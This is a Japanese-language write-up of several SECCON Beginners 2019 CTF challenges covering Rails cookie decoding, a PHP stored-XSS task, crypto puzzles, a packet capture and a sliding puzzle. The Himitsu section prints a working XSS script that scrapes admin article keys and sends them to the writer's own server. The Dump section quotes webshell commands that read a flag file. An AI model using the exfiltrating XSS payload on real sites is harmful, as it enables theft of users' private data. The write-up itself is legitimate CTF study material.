SECCON for beginners 2019 writeup

Beginners CTF 2019 で自分が解いた部分のまとめです。

[Web] katsudon

問題概要

rails で作られたサイトと「クーポンコード」と呼ばれる文字列を復号するソースコードが与えられる。

ポイント

解法

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a を復号する。

与えられたソースコードから、この文字列は Rails の MessageVerifier を使って復号できそうということがわかる。

MessageVerifier のドキュメント を読む。 MessageVerifierは、署名をつけたメッセージを作成と、メッセージの署名を検証するのに利用されているということがわかる。 さらに、MessageVerifier の generate という関数の実装を読むと、 MessageVerifier が生成する文字列は、

"#{data}--#{generate_digest(data)}"

という形式になっていることがわかる。

secret を見つけなきゃいけないのかと思いきや、そんなことはない。 data の部分は暗号化されているわけではなくただの base64 だからである。 BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVUbase64 decode すると、フラグを含むデータが得られる。

[Web] Himitsu

問題概要

php で作られたサイトと、そのサイトのソースコードがまるっと与えられる。

サイト自体は、記事投稿サイトのようなもの。 記事本文に特殊な構文が使えて、 [#記事ID#] と書くと記事のタイトルを埋め込むことができる。

ポイント

解法

コンテスト中には解けなかった。。。

まずはソースコードを読んであたりをつける。 SQLのパラメタはちゃんとエスケープされているので、SQLインジェクションは無理そう。 記事の投稿内容を表示する部分でもちゃんとテンプレートエンジンを使っているので、XSSも一見無理そうに見える。 が、 part_of_crawler.js でクローラのコードが与えられていることから、 XSS を使いそうな雰囲気が漂っている。

[#記事ID#] という構文が利用できるという特殊な仕様が引っかかるので、この [#記事ID#] で他記事のタイトルを埋め込めるという機能を利用して XSS できないか? というあたりをつける。 他記事のタイトル埋込機能に着目しながらソースコードを読んでいくと、以下のようなことがわかった。

  • schema.sql
    • admin の投稿の本文にフラグが含まれていそうな事がわかる。ただし、 admin の記事の article_key は伏せられている。
  • backend/classes/ArticleController.php
    • addArticle
      • 記事を投稿する処理。 [#記事ID#] の部分について、置き換えるタイトルの内容が投稿時にチェックされている。この時、他記事のタイトルに < > " ' といった文字が含まれている場合はエラーにされてしまう。
    • getArticle
      • 記事を表示する処理。 [#記事ID#] の部分をタイトルに置き換える処理はここで行われる。
      • 閲覧できる記事には特に制限がかかっておらず、 admin の記事であっても article_key さえわかればアクセスできる。
  • backend/classes/ArticleMapper.php
    • createArticle
      • 記事を DB 上に作成する処理。新規投稿時の article_key は、 $article_key = md5($username . $created_at . $title); のように、ユーザ名、作成時刻、タイトルをつなげた文字列のハッシュ値が設定される。

以上のことから、 他記事のタイトル埋込機能を使って XSS を起こし、 admin の記事の article_key を見つける ことを目指す。 このために、以下のような2種類の記事を作成する。

  • 記事A
    • title: 適当
    • abstract: 適当
    • body: [#記事BのID#]
  • 記事B
    • title: XSS で実行させたい内容
    • abstract: 適当
    • body: 適当

この2種類の記事を作成した上で、 admin を記事Aにアクセスさせて XSS のコードを実行させる。

ここで大事なのは、記事を作成する順番である。 記事Bの投稿・送信 -> 記事Aの投稿・送信 の順に行うと、記事Aの作成時に addArticle のチェック処理によってエラーになってしまう。 これを回避するために、記事の作成が「投稿」と「送信」の2段階になっていることを利用して、

(1) 記事Aの投稿 -> (2) 記事Bの投稿・送信 -> (3) 記事Aの送信

という手順で2つの記事を作成する。 (1) の時点では記事Bが存在していないので、 addArticle のチェック処理を通過することができる。

ここで問題となるのが、(1) の時点で記事BのIDを知ることができるかどうかだが、実はこれは以下のようにすれば可能である。 記事IDは $article_key = md5($username . $created_at . $title); というコードで設定されている。 username はユーザ名、 titleXSS で実行させたい内容なので、 (1) の時点で決めておける。 created_at$created_at = date("Y/m/d H:i"); というコードで設定されていて、 年/月/日 時:分 というフォーマットである。 秒が含まれていないことから、何時何分に (2) の操作を行うか予め決めておけば、 created_at も予め決めておくことができる。 したがって、username , title , created_at を全て (1) の時点で決めておけるので、記事Bの article_key も (1) の時点で事前に算出できる。

次に、 XSS のコードの中身を考える。 目標は、admin の記事の article_key を見つけること。 今回は以下のようなスクリプトを作った。

<script>
const run = async () => {
  let content;

  try {
    const resp = await fetch("https://himitsu.quals.beginners.seccon.jp/mypage");
    content = await resp.text();
    content = content.match(/[0-9a-f]{32}/g).join();
  } catch (err) {
    content = err.stack || err.message;
  }

  const urlObj = new URL("<自分のサーバのURL>");
  const params = new URLSearchParams();
  params.append("d", content);
  urlObj.search = params.toString();

  await fetch(urlObj.toString());
};

run();
</script>

このスクリプトでは、

  1. https://himitsu.quals.beginners.seccon.jp/mypage にアクセスし、 admin の記事一覧ページの内容を取得する
  2. 正規表現を使って記事一覧ページの内容から article_key に該当する部分だけを取り出す
  3. 取り出した article_key を GET parameter として自分のサーバに送る

ということをしている。 このスクリプトの改行を取り除くなどしたものを記事Bのタイトルとし、上記の (1) 〜 (3) の手順を行えば、 admin の記事の article_key を自分のサーバに送信することができる。 あとは、得られた article_key の記事のURL ( https://himitsu.quals.beginners.seccon.jp/articles/${article_key} ) にブラウザ等でアクセスすれば、フラグを含む記事の本文を確認することができる。

[Reversing] [warmup] Seccompare

ltrace ./seccompare hoge

[Crypto] [warmup] So Tired

問題概要

すごく長い base64 文字列が記録されたファイルが与えられる。

ポイント

解法

与えられたファイルを base64 decode すると zlib compressed data が出来上がる。 それを解凍するとまた base64 文字列が記録されたファイルが出て来る。

base64 decode -> zlib 解凍 という作業をひたすら繰り返すと flag にたどり着く。

ksnctf - 5 Onion を彷彿とさせる問題だった。

[Crypto] Party

問題概要

2つのファイルが与えられる。

  • encrypt.py ... 暗号化スクリプト
  • encrypted ... encrypt.py の出力

ポイント

  • mod

解法

encrypt.py を読み解くと、 encrypted の内容が、ランダムな値とそれを暗号化した値のペア3つで有ることがわかる。 このペアを (x0, y0), (x1, y1), (x2, y2) とする。

暗号化関数を F とすると、 x と y の関係は y = F(x) となる。 F の中身は、ソースコードより、 y = F(x) = coeff[0] + coeff[1] * x + coeff[2] * x2 である。 coeff[0] の部分が求まれば、フラグを求めることができる。

coeff[0] は、もし coeff[0] が x の倍数でなければ、上記の式より、 coeff[0] = y % x と求められる。 encrypted ファイルに記録された (x0, y0), (x1, y1), (x2, y2) より、 y0 % x0, y1 % x1, y2 % x2 の値はどれも 175721217420600153444809007773872697631803507409137493048703574941320093728 となった。

あとは、以下のようにして数値を byte 列に戻せばフラグをゲットできる。

from Crypto.Util.number import long_to_bytes

print(long_to_bytes(175721217420600153444809007773872697631803507409137493048703574941320093728))

[Misc] Dump

問題概要

  • tcpdump ファイルが与えられる

ポイント

解法

まずは tcpdump のファイルを wireshark で開く。 HTTP でなにやら通信が行われていることがわかる。 HTTP の通信の内容を File > Export objects > HTTP から復元すると、以下の2つのファイルが復元できる。

  • webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag
  • webshell.php%3fcmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag

ファイル名から察するに、これらはそれぞれサーバ上で hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flagls -l /home/ctf4b/flag を実行した結果だと予想できる。 さらに、 hexdump のオプションの部分を読み解くと、1つめのファイルには /home/ctf4b/flag の内容を 1 byte ごとに8進数で表した結果が含まれているということがわかる。 復元したファイルは html 形式になっていて、その中の <pre> タグで囲まれた部分が結果になっているようなので、 hexdump の結果の部分だけを取り出して hexdump.txt として保存しておく。

つぎに、 hexdump の結果から /home/ctf4b/flag にあったファイルを復元する。 python だったら以下のような感じで復元できる。

with open('./hexdump.txt', 'r') as f:
    arr = f.read().split()

byte_arr = bytes(map(lambda x: int(x, 8), arr))

with open('./flag', 'wb') as f:
    f.write(byte_arr)

復元した flag ファイルの形式を file コマンドで調べると gzip 形式であることがわかる。 これを回答すると flag.jpg が取り出せる。 画像の中に flag が含まれていましたとさ。

[Misc] Sliding puzzle

問題概要

netcat 越しに sliding puzzle が与えられる。

sliding puzzle というのは、

----------------
|  0 |  2 |  3 |
|  6 |  7 |  1 |
|  8 |  4 |  5 |
----------------

こういうのを、ブランクを表す 0 を動かすことを繰り返して、

----------------
|  0 |  1 |  2 |
|  3 |  4 |  5 |
|  6 |  7 |  8 |
----------------

こうする問題。

操作手順を 1,3,2,0, ... ,2 のような形式で送信する。

ポイント

  • 競プロ

解法

timeout が設定されているようで、手動ではとても間に合わない。 ので、自動で解答するプログラムを作る。 ちょっとした競プロ。

tcp とやり取りする部分は ruby で、実際に問題を得部分は c++ で実装した。

問題を解く部分は、盤面の状態を幅優先探索していけば良い。 このとき、一度訪れた状態を set で管理しておいて、すでに訪れた状態からは新たに遷移しないようにすれば良い。

ソースコードこちらruby client.rb 133.242.50.201 24912 と実行すると、何十問か解いた後にフラグが表示される。